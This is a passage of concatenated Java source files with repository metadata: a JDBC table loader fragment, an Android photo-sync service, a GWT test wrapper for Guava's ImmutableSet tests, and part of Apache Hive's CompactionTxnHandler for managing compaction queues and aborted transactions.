}
} catch (SQLException e) {
e.printStackTrace();
}
return tableMap;
}
public Map<String, Object> loadTableData(String sql) throws SQLException {
Map<String, Object> map = null;
Vector<Vector<Object>> dataVector = null;
PreparedStatement stmt = dbconn.getPreparedStatement(sql);
if (stmt != null) {
ResultSet rs = stmt.executeQuery();
if (rs != null) {
map = new HashMap<String, Object>();
dataVector = new Vector<Vector<Object>>();
Vector<Object> vector = null;
Vector<Object> column = null;
Object value = null;
int size = 0;
int row = 1;
while (rs.next()) {
vector = new Vector<Object>();
vector.add(row);
row++;
try {
if(column == null){
column = resultSetMetaDataToVector(rs.getMetaData());
size = column.size();
}
for (int i = 1; i < size; i++) {
value = rs.getObject(CommonUtils.objectToString(column.get(i)));
if (value == null) {
vector.add("null");
} else {
vector.add(value);
}
}
} catch (Exception e) {
}
dataVector.add(vector);
}
map.put("dataSet", dataVector);
map.put("feildSet", column);
}
dbconn.close(rs, stmt);
}
return map;
}
private Vector<Object> resultSetMetaDataToVector(ResultSetMetaData rsData) {
Vector<Object> vector = null;
try {
int size = rsData.getColumnCount();
vector = new Vector<Object>();
vector.add("序号");
for (int i = 0; i < size; i++) {
vector.add(rsData.getColumnName(i + 1));
}
} catch (SQLException e) {
vector = new Vector<Object>();
}
return vector;
}
}
|
3e0e640a7da196f5626b5264950948f7263466e7 | 2,146 | java | Java | app/src/main/java/com/decode/gallery/Cloud.java | nicubularda/DecodeAcademyAndroid | 1e59f52642c88272ccc2726579d5d8977485af9c | [
"MIT"
] | null | null | null | app/src/main/java/com/decode/gallery/Cloud.java | nicubularda/DecodeAcademyAndroid | 1e59f52642c88272ccc2726579d5d8977485af9c | [
"MIT"
] | null | null | null | app/src/main/java/com/decode/gallery/Cloud.java | nicubularda/DecodeAcademyAndroid | 1e59f52642c88272ccc2726579d5d8977485af9c | [
"MIT"
] | null | null | null | 30.657143 | 115 | 0.630009 | 6,105 | package com.decode.gallery;
import android.app.Service;
import android.content.ContentValues;
import android.content.Intent;
import android.database.sqlite.SQLiteDatabase;
import android.os.Binder;
import android.os.IBinder;
import android.support.annotation.NonNull;
import android.support.v4.content.LocalBroadcastManager;
import java.util.concurrent.Executor;
import java.util.concurrent.Executors;
/**
* Created by nicu on 28/03/2018.
*/
public class Cloud extends Service {
private final IBinder mBinder = new CloudBinder();
public static final String ACTION_CLOUD = "action_cloud";
private Executor mExecutor;
private DB.Helper mDB;
@Override
public IBinder onBind(Intent intent) {
mExecutor = Executors.newSingleThreadExecutor();
mDB = new DB.Helper(getApplicationContext());
return mBinder;
}
public class CloudBinder extends Binder {
Service getService() {
return Cloud.this; // return this instance of Cloud so clients can call public methods
}
}
public void fetch() {
// 1. access api: https://goo.gl/xATgGr
// 2. interpret json
// 3. store in db
// 4. notify
mExecutor.execute(new Runnable() {
@Override
public void run() {
Photo[] photos = U.api("https://goo.gl/xATgGr", Photo[].class);
SQLiteDatabase db = mDB.getWritableDatabase();
db.execSQL(DB.CloudPhoto.SQL_DROP);
db.execSQL(DB.CloudPhoto.SQL_CREATE);
for (Photo p : photos) {
ContentValues values = new ContentValues();
values.put(DB.CloudPhoto.Entry.COLUMN_URL, p.url);
values.put(DB.CloudPhoto.Entry.COLUMN_TITLE, p.title);
db.insert(DB.CloudPhoto.Entry.TABLE_NAME, null, values);
}
LocalBroadcastManager.getInstance(getApplicationContext()).sendBroadcast(new Intent(ACTION_CLOUD));
}
});
}
private static class Photo {
public String url;
public String title;
}
}
|
3e0e648f41d4c43bde79f836dce5551979f850be | 10,420 | java | Java | guava-gwt/test/com/google/common/collect/ImmutableSetTest_gwt.java | yangfancoming/guava-parent | bda34e5e2a9ebfc0d4ff29077a739d542e736299 | [
"Apache-2.0"
] | null | null | null | guava-gwt/test/com/google/common/collect/ImmutableSetTest_gwt.java | yangfancoming/guava-parent | bda34e5e2a9ebfc0d4ff29077a739d542e736299 | [
"Apache-2.0"
] | null | null | null | guava-gwt/test/com/google/common/collect/ImmutableSetTest_gwt.java | yangfancoming/guava-parent | bda34e5e2a9ebfc0d4ff29077a739d542e736299 | [
"Apache-2.0"
] | null | null | null | 42.186235 | 105 | 0.820921 | 6,106 |
package com.google.common.collect;
public class ImmutableSetTest_gwt extends com.google.gwt.junit.client.GWTTestCase {
@Override public String getModuleName() {
return "com.google.common.collect.testModule";
}
public void testBuilderAddAll() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testBuilderAddAll();
}
public void testBuilderAddAllHandlesNullsCorrectly() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testBuilderAddAllHandlesNullsCorrectly();
}
public void testBuilderAddHandlesNullsCorrectly() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testBuilderAddHandlesNullsCorrectly();
}
public void testBuilderWithDuplicateElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testBuilderWithDuplicateElements();
}
public void testBuilderWithNonDuplicateElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testBuilderWithNonDuplicateElements();
}
public void testComplexBuilder() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testComplexBuilder();
}
public void testContainsAll_sameType() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testContainsAll_sameType();
}
public void testCopyOf_arrayContainingOnlyNull() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_arrayContainingOnlyNull();
}
public void testCopyOf_arrayOfOneElement() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_arrayOfOneElement();
}
public void testCopyOf_collectionContainingNull() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_collectionContainingNull();
}
public void testCopyOf_collection_empty() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_collection_empty();
}
public void testCopyOf_collection_enumSet() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_collection_enumSet();
}
public void testCopyOf_collection_general() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_collection_general();
}
public void testCopyOf_collection_oneElement() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_collection_oneElement();
}
public void testCopyOf_collection_oneElementRepeated() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_collection_oneElementRepeated();
}
public void testCopyOf_copiesImmutableSortedSet() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_copiesImmutableSortedSet();
}
public void testCopyOf_emptyArray() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_emptyArray();
}
public void testCopyOf_iteratorContainingNull() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_iteratorContainingNull();
}
public void testCopyOf_iterator_empty() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_iterator_empty();
}
public void testCopyOf_iterator_general() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_iterator_general();
}
public void testCopyOf_iterator_oneElement() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_iterator_oneElement();
}
public void testCopyOf_iterator_oneElementRepeated() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_iterator_oneElementRepeated();
}
public void testCopyOf_nullArray() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_nullArray();
}
public void testCopyOf_plainIterable() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_plainIterable();
}
public void testCopyOf_plainIterable_iteratesOnce() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_plainIterable_iteratesOnce();
}
public void testCopyOf_shortcut_empty() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_shortcut_empty();
}
public void testCopyOf_shortcut_sameType() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_shortcut_sameType();
}
public void testCopyOf_shortcut_singleton() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCopyOf_shortcut_singleton();
}
public void testCreation_allDuplicates() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_allDuplicates();
}
public void testCreation_arrayOfArray() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_arrayOfArray();
}
public void testCreation_eightElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_eightElements();
}
public void testCreation_fiveElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_fiveElements();
}
public void testCreation_fourElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_fourElements();
}
public void testCreation_manyDuplicates() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_manyDuplicates();
}
public void testCreation_noArgs() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_noArgs();
}
public void testCreation_oneDuplicate() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_oneDuplicate();
}
public void testCreation_oneElement() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_oneElement();
}
public void testCreation_sevenElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_sevenElements();
}
public void testCreation_sixElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_sixElements();
}
public void testCreation_threeElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_threeElements();
}
public void testCreation_twoElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testCreation_twoElements();
}
public void testEquals() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testEquals();
}
public void testEquals_sameType() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testEquals_sameType();
}
public void testReuseBuilderWithDuplicateElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testReuseBuilderWithDuplicateElements();
}
public void testReuseBuilderWithNonDuplicateElements() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testReuseBuilderWithNonDuplicateElements();
}
public void testToImmutableSet() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testToImmutableSet();
}
public void testToImmutableSet_duplicates() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testToImmutableSet_duplicates();
}
public void testToString() throws Exception {
com.google.common.collect.ImmutableSetTest testCase = new com.google.common.collect.ImmutableSetTest();
testCase.testToString();
}
}
|
3e0e656bf73048012812a37273f1ca9992c03fdc | 27,070 | java | Java | metastore/src/java/org/apache/hadoop/hive/metastore/txn/CompactionTxnHandler.java | himanshug/hive | 71536a2f8295f61602e776e4e5773c7007a46b69 | [
"Apache-2.0"
] | null | null | null | metastore/src/java/org/apache/hadoop/hive/metastore/txn/CompactionTxnHandler.java | himanshug/hive | 71536a2f8295f61602e776e4e5773c7007a46b69 | [
"Apache-2.0"
] | null | null | null | metastore/src/java/org/apache/hadoop/hive/metastore/txn/CompactionTxnHandler.java | himanshug/hive | 71536a2f8295f61602e776e4e5773c7007a46b69 | [
"Apache-2.0"
] | null | null | null | 41.904025 | 127 | 0.619099 | 6,107 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hive.metastore.txn;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.hadoop.hive.common.ValidTxnList;
import org.apache.hadoop.hive.conf.HiveConf;
import org.apache.hadoop.hive.metastore.api.*;
import org.apache.hadoop.util.StringUtils;
import java.sql.*;
import java.util.*;
/**
* Extends the transaction handler with methods needed only by the compactor threads. These
* methods are not available through the thrift interface.
*/
public class CompactionTxnHandler extends TxnHandler {
static final private String CLASS_NAME = CompactionTxnHandler.class.getName();
static final private Logger LOG = LoggerFactory.getLogger(CLASS_NAME);
// Always access COMPACTION_QUEUE before COMPLETED_TXN_COMPONENTS
// See TxnHandler for notes on how to deal with deadlocks. Follow those notes.
public CompactionTxnHandler(HiveConf conf) {
super(conf);
}
/**
* This will look through the completed_txn_components table and look for partitions or tables
* that may be ready for compaction. Also, look through txns and txn_components tables for
* aborted transactions that we should add to the list.
* @param maxAborted Maximum number of aborted queries to allow before marking this as a
* potential compaction.
* @return list of CompactionInfo structs. These will not have id, type,
* or runAs set since these are only potential compactions not actual ones.
*/
public Set<CompactionInfo> findPotentialCompactions(int maxAborted) throws MetaException {
Connection dbConn = null;
Set<CompactionInfo> response = new HashSet<CompactionInfo>();
Statement stmt = null;
ResultSet rs = null;
try {
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
// Check for completed transactions
String s = "select distinct ctc_database, ctc_table, " +
"ctc_partition from COMPLETED_TXN_COMPONENTS";
LOG.debug("Going to execute query <" + s + ">");
rs = stmt.executeQuery(s);
while (rs.next()) {
CompactionInfo info = new CompactionInfo();
info.dbname = rs.getString(1);
info.tableName = rs.getString(2);
info.partName = rs.getString(3);
response.add(info);
}
rs.close();
// Check for aborted txns
s = "select tc_database, tc_table, tc_partition " +
"from TXNS, TXN_COMPONENTS " +
"where txn_id = tc_txnid and txn_state = '" + TXN_ABORTED + "' " +
"group by tc_database, tc_table, tc_partition " +
"having count(*) > " + maxAborted;
LOG.debug("Going to execute query <" + s + ">");
rs = stmt.executeQuery(s);
while (rs.next()) {
CompactionInfo info = new CompactionInfo();
info.dbname = rs.getString(1);
info.tableName = rs.getString(2);
info.partName = rs.getString(3);
info.tooManyAborts = true;
response.add(info);
}
LOG.debug("Going to rollback");
dbConn.rollback();
} catch (SQLException e) {
LOG.error("Unable to connect to transaction database " + e.getMessage());
checkRetryable(dbConn, e, "findPotentialCompactions(maxAborted:" + maxAborted + ")");
} finally {
close(rs, stmt, dbConn);
}
return response;
}
catch (RetryException e) {
return findPotentialCompactions(maxAborted);
}
}
/**
* Sets the user to run as. This is for the case
* where the request was generated by the user and so the worker must set this value later.
* @param cq_id id of this entry in the queue
* @param user user to run the jobs as
*/
public void setRunAs(long cq_id, String user) throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
String s = "update COMPACTION_QUEUE set cq_run_as = '" + user + "' where cq_id = " + cq_id;
LOG.debug("Going to execute update <" + s + ">");
int updCnt = stmt.executeUpdate(s);
if (updCnt != 1) {
LOG.error("Unable to set cq_run_as=" + user + " for compaction record with cq_id=" + cq_id + ". updCnt=" + updCnt);
LOG.debug("Going to rollback");
dbConn.rollback();
}
LOG.debug("Going to commit");
dbConn.commit();
} catch (SQLException e) {
LOG.error("Unable to update compaction queue, " + e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "setRunAs(cq_id:" + cq_id + ",user:" + user +")");
} finally {
closeDbConn(dbConn);
closeStmt(stmt);
}
} catch (RetryException e) {
setRunAs(cq_id, user);
}
}
/**
* This will grab the next compaction request off of
* the queue, and assign it to the worker.
* @param workerId id of the worker calling this, will be recorded in the db
* @return an info element for this compaction request, or null if there is no work to do now.
*/
public CompactionInfo findNextToCompact(String workerId) throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
ResultSet rs = null;
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
String s = "select cq_id, cq_database, cq_table, cq_partition, " +
"cq_type from COMPACTION_QUEUE where cq_state = '" + INITIATED_STATE + "'";
LOG.debug("Going to execute query <" + s + ">");
rs = stmt.executeQuery(s);
if (!rs.next()) {
LOG.debug("No compactions found ready to compact");
dbConn.rollback();
return null;
}
do {
CompactionInfo info = new CompactionInfo();
info.id = rs.getLong(1);
info.dbname = rs.getString(2);
info.tableName = rs.getString(3);
info.partName = rs.getString(4);
switch (rs.getString(5).charAt(0)) {
case MAJOR_TYPE:
info.type = CompactionType.MAJOR;
break;
case MINOR_TYPE:
info.type = CompactionType.MINOR;
break;
default:
throw new MetaException("Unexpected compaction type " + rs.getString(5));
}
// Now, update this record as being worked on by this worker.
long now = getDbTime(dbConn);
s = "update COMPACTION_QUEUE set cq_worker_id = '" + workerId + "', " +
"cq_start = " + now + ", cq_state = '" + WORKING_STATE + "' where cq_id = " + info.id +
" AND cq_state='" + INITIATED_STATE + "'";
LOG.debug("Going to execute update <" + s + ">");
int updCount = stmt.executeUpdate(s);
if(updCount == 1) {
dbConn.commit();
return info;
}
if(updCount == 0) {
LOG.debug("Another Worker picked up " + info);
continue;
}
LOG.error("Unable to set to cq_state=" + WORKING_STATE + " for compaction record: " +
info + ". updCnt=" + updCount + ".");
dbConn.rollback();
return null;
} while( rs.next());
dbConn.rollback();
return null;
} catch (SQLException e) {
LOG.error("Unable to select next element for compaction, " + e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "findNextToCompact(workerId:" + workerId + ")");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
close(rs, stmt, dbConn);
}
} catch (RetryException e) {
return findNextToCompact(workerId);
}
}
/**
* This will mark an entry in the queue as compacted
* and put it in the ready to clean state.
* @param info info on the compaction entry to mark as compacted.
*/
public void markCompacted(CompactionInfo info) throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
String s = "update COMPACTION_QUEUE set cq_state = '" + READY_FOR_CLEANING + "', " +
"cq_worker_id = null where cq_id = " + info.id;
LOG.debug("Going to execute update <" + s + ">");
int updCnt = stmt.executeUpdate(s);
if (updCnt != 1) {
LOG.error("Unable to set cq_state=" + READY_FOR_CLEANING + " for compaction record: " + info + ". updCnt=" + updCnt);
LOG.debug("Going to rollback");
dbConn.rollback();
}
LOG.debug("Going to commit");
dbConn.commit();
} catch (SQLException e) {
LOG.error("Unable to update compaction queue " + e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "markCompacted(" + info + ")");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
closeStmt(stmt);
closeDbConn(dbConn);
}
} catch (RetryException e) {
markCompacted(info);
}
}
/**
* Find entries in the queue that are ready to
* be cleaned.
* @return information on the entry in the queue.
*/
public List<CompactionInfo> findReadyToClean() throws MetaException {
Connection dbConn = null;
List<CompactionInfo> rc = new ArrayList<CompactionInfo>();
Statement stmt = null;
ResultSet rs = null;
try {
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
String s = "select cq_id, cq_database, cq_table, cq_partition, " +
"cq_type, cq_run_as from COMPACTION_QUEUE where cq_state = '" + READY_FOR_CLEANING + "'";
LOG.debug("Going to execute query <" + s + ">");
rs = stmt.executeQuery(s);
while (rs.next()) {
CompactionInfo info = new CompactionInfo();
info.id = rs.getLong(1);
info.dbname = rs.getString(2);
info.tableName = rs.getString(3);
info.partName = rs.getString(4);
switch (rs.getString(5).charAt(0)) {
case MAJOR_TYPE: info.type = CompactionType.MAJOR; break;
case MINOR_TYPE: info.type = CompactionType.MINOR; break;
default: throw new MetaException("Unexpected compaction type " + rs.getString(5));
}
info.runAs = rs.getString(6);
rc.add(info);
}
LOG.debug("Going to rollback");
dbConn.rollback();
return rc;
} catch (SQLException e) {
LOG.error("Unable to select next element for cleaning, " + e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "findReadyToClean");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
close(rs, stmt, dbConn);
}
} catch (RetryException e) {
return findReadyToClean();
}
}
/**
* This will remove an entry from the queue after
* it has been compacted.
*
* todo: Worker will start with DB in state X (wrt this partition).
* while it's working more txns will happen, against partition it's compacting.
* then this will delete state up to X and since then. There may be new delta files created
* between compaction starting and cleaning. These will not be compacted until more
* transactions happen. So this ideally should only delete
* up to TXN_ID that was compacted (i.e. HWM in Worker?) Then this can also run
* at READ_COMMITTED. So this means we'd want to store HWM in COMPACTION_QUEUE when
* Worker picks up the job.
*
* Also, by using this method when Worker fails, we prevent future compactions from
* running until more data is written to table or compaction is invoked explicitly
* @param info info on the compaction entry to remove
*/
public void markCleaned(CompactionInfo info) throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
ResultSet rs = null;
try {
//do we need serializable? Once we have the HWM as above, no. Before that
//it's debatable, but problem described above applies either way
//Thus can drop to RC
dbConn = getDbConn(Connection.TRANSACTION_SERIALIZABLE);
stmt = dbConn.createStatement();
String s = "delete from COMPACTION_QUEUE where cq_id = " + info.id;
LOG.debug("Going to execute update <" + s + ">");
int updCount = stmt.executeUpdate(s);
if (updCount != 1) {
LOG.error("Unable to delete compaction record: " + info + ". Update count=" + updCount);
LOG.debug("Going to rollback");
dbConn.rollback();
}
// Remove entries from completed_txn_components as well, so we don't start looking there
// again.
s = "delete from COMPLETED_TXN_COMPONENTS where ctc_database = '" + info.dbname + "' and " +
"ctc_table = '" + info.tableName + "'";
if (info.partName != null) {
s += " and ctc_partition = '" + info.partName + "'";
}
LOG.debug("Going to execute update <" + s + ">");
if (stmt.executeUpdate(s) < 1) {
LOG.error("Expected to remove at least one row from completed_txn_components when " +
"marking compaction entry as clean!");
}
s = "select distinct txn_id from TXNS, TXN_COMPONENTS where txn_id = tc_txnid and txn_state = '" +
TXN_ABORTED + "' and tc_database = '" + info.dbname + "' and tc_table = '" +
info.tableName + "'";
if (info.partName != null) s += " and tc_partition = '" + info.partName + "'";
LOG.debug("Going to execute update <" + s + ">");
rs = stmt.executeQuery(s);
List<Long> txnids = new ArrayList<>();
while (rs.next()) txnids.add(rs.getLong(1));
if (txnids.size() > 0) {
// Remove entries from txn_components, as there may be aborted txn components
StringBuilder buf = new StringBuilder();
//todo: add a safeguard to make sure IN clause is not too large; break up by txn id
buf.append("delete from TXN_COMPONENTS where tc_txnid in (");
boolean first = true;
for (long id : txnids) {
if (first) first = false;
else buf.append(", ");
buf.append(id);
}
//because 1 txn may include different partitions/tables even in auto commit mode
buf.append(") and tc_database = '");
buf.append(info.dbname);
buf.append("' and tc_table = '");
buf.append(info.tableName);
buf.append("'");
if (info.partName != null) {
buf.append(" and tc_partition = '");
buf.append(info.partName);
buf.append("'");
}
LOG.debug("Going to execute update <" + buf.toString() + ">");
int rc = stmt.executeUpdate(buf.toString());
LOG.debug("Removed " + rc + " records from txn_components");
// Don't bother cleaning from the txns table. A separate call will do that. We don't
// know here which txns still have components from other tables or partitions in the
// table, so we don't know which ones we can and cannot clean.
}
LOG.debug("Going to commit");
dbConn.commit();
} catch (SQLException e) {
LOG.error("Unable to delete from compaction queue " + e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "markCleaned(" + info + ")");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
close(rs, stmt, dbConn);
}
} catch (RetryException e) {
markCleaned(info);
}
}
/**
* Clean up aborted transactions from txns that have no components in txn_components.
*/
public void cleanEmptyAbortedTxns() throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
ResultSet rs = null;
try {
//Aborted is a terminal state, so nothing about the txn can change
//after that, so READ COMMITTED is sufficient.
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
String s = "select txn_id from TXNS where " +
"txn_id not in (select tc_txnid from TXN_COMPONENTS) and " +
"txn_state = '" + TXN_ABORTED + "'";
LOG.debug("Going to execute query <" + s + ">");
rs = stmt.executeQuery(s);
List<Long> txnids = new ArrayList<>();
while (rs.next()) txnids.add(rs.getLong(1));
close(rs);
if(txnids.size() <= 0) {
return;
}
for(int i = 0; i < txnids.size() / TIMED_OUT_TXN_ABORT_BATCH_SIZE; i++) {
List<Long> txnIdBatch = txnids.subList(i * TIMED_OUT_TXN_ABORT_BATCH_SIZE,
(i + 1) * TIMED_OUT_TXN_ABORT_BATCH_SIZE);
deleteTxns(dbConn, stmt, txnIdBatch);
}
int partialBatchSize = txnids.size() % TIMED_OUT_TXN_ABORT_BATCH_SIZE;
if(partialBatchSize > 0) {
List<Long> txnIdBatch = txnids.subList(txnids.size() - partialBatchSize, txnids.size());
deleteTxns(dbConn, stmt, txnIdBatch);
}
} catch (SQLException e) {
LOG.error("Unable to delete from txns table " + e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "cleanEmptyAbortedTxns");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
close(rs, stmt, dbConn);
}
} catch (RetryException e) {
cleanEmptyAbortedTxns();
}
}
private static void deleteTxns(Connection dbConn, Statement stmt, List<Long> txnIdBatch) throws SQLException {
StringBuilder buf = new StringBuilder("delete from TXNS where txn_id in (");
for(long txnid : txnIdBatch) {
buf.append(txnid).append(',');
}
buf.setCharAt(buf.length() - 1, ')');
LOG.debug("Going to execute update <" + buf + ">");
int rc = stmt.executeUpdate(buf.toString());
LOG.info("Removed " + rc + " empty Aborted transactions: " + txnIdBatch + " from TXNS");
LOG.debug("Going to commit");
dbConn.commit();
}
/**
* This will take all entries assigned to workers
* on a host return them to INITIATED state. The initiator should use this at start up to
* clean entries from any workers that were in the middle of compacting when the metastore
* shutdown. It does not reset entries from worker threads on other hosts as those may still
* be working.
* @param hostname Name of this host. It is assumed this prefixes the thread's worker id,
* so that like hostname% will match the worker id.
*/
public void revokeFromLocalWorkers(String hostname) throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
stmt = dbConn.createStatement();
String s = "update COMPACTION_QUEUE set cq_worker_id = null, cq_start = null, cq_state = '"
+ INITIATED_STATE+ "' where cq_state = '" + WORKING_STATE + "' and cq_worker_id like '"
+ hostname + "%'";
LOG.debug("Going to execute update <" + s + ">");
// It isn't an error if the following returns no rows, as the local workers could have died
// with nothing assigned to them.
stmt.executeUpdate(s);
LOG.debug("Going to commit");
dbConn.commit();
} catch (SQLException e) {
LOG.error("Unable to change dead worker's records back to initiated state " +
e.getMessage());
LOG.debug("Going to rollback");
rollbackDBConn(dbConn);
checkRetryable(dbConn, e, "revokeFromLocalWorkers(hostname:" + hostname +")");
throw new MetaException("Unable to connect to transaction database " +
StringUtils.stringifyException(e));
} finally {
closeStmt(stmt);
closeDbConn(dbConn);
}
} catch (RetryException e) {
revokeFromLocalWorkers(hostname);
}
}
/**
* This call will return all compaction queue
* entries assigned to a worker but over the timeout back to the initiated state.
* This should be called by the initiator on start up and occasionally when running to clean up
* after dead threads. At start up {@link #revokeFromLocalWorkers(String)} should be called
* first.
* @param timeout number of milliseconds since start time that should elapse before a worker is
* declared dead.
*/
public void revokeTimedoutWorkers(long timeout) throws MetaException {
try {
Connection dbConn = null;
Statement stmt = null;
try {
dbConn = getDbConn(Connection.TRANSACTION_READ_COMMITTED);
long latestValidStart = getDbTime(dbConn) - timeout;
stmt = dbConn.createStatement();
String s = "update COMPACTION_QUEUE set cq_worker_id = null, cq_start = null, cq_state = '"
